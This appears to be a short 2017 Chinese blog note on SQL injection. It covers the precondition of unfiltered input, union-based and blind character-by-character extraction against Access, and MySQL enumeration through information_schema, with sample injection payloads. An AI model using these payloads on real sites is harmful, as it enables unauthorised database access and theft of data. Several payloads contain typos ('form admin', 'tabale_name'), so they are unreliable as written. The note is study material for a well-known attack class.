美文网首页
Sql注入漏洞

Sql注入漏洞

作者: StormZang | 来源:发表于2017-12-07 10:31 被阅读0次
  1. 原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作问题。
  2. 必备条件:

1.变量接受
2.带入数据库查询执行
3.不存在过滤(可尝试绕过)

  1. Access注入
  • 联合查询 :判断注入(order by 6),猜解表名(union select 1,2,3 form admin),猜解列名,猜解数据
    猜解不到的时候:1.字典文件收集 2.Access偏移注入
  • 逐字猜解:
    查表,查列(and exists(select 列名 from 表名)),查数据(1. 确定长度 2. 确定ascll码)
and(select top 1 len(列名)from admin)=5
and(select top 1 asc(mid(列名,位数,1))from admin)=97
  1. Mysql注入
    mysql5.0以上自带一个information_schema数据库:存储所有数据库信息
    数据库名:database()
    数据库用户:user()
    数据库版本:version()
    操作系统:@@version_compile_os
    符号“.”:代表下一级
    information_schema.tables:数据库下tables表名,存储所有数据库下的表名信息的表
    information_schema.columuns:存储所有数据库下的列名信息的表
    Table_schema:数据库名
    Table_name:表名
    Column_name:列名
    查询数据库名test下的所有表名:union select tabale_name,2,3 from information_schema_tables where table_schema=test

相关文章

网友评论

      本文标题:Sql注入漏洞

      本文链接:https://www.haomeiwen.com/subject/qnffixtx.html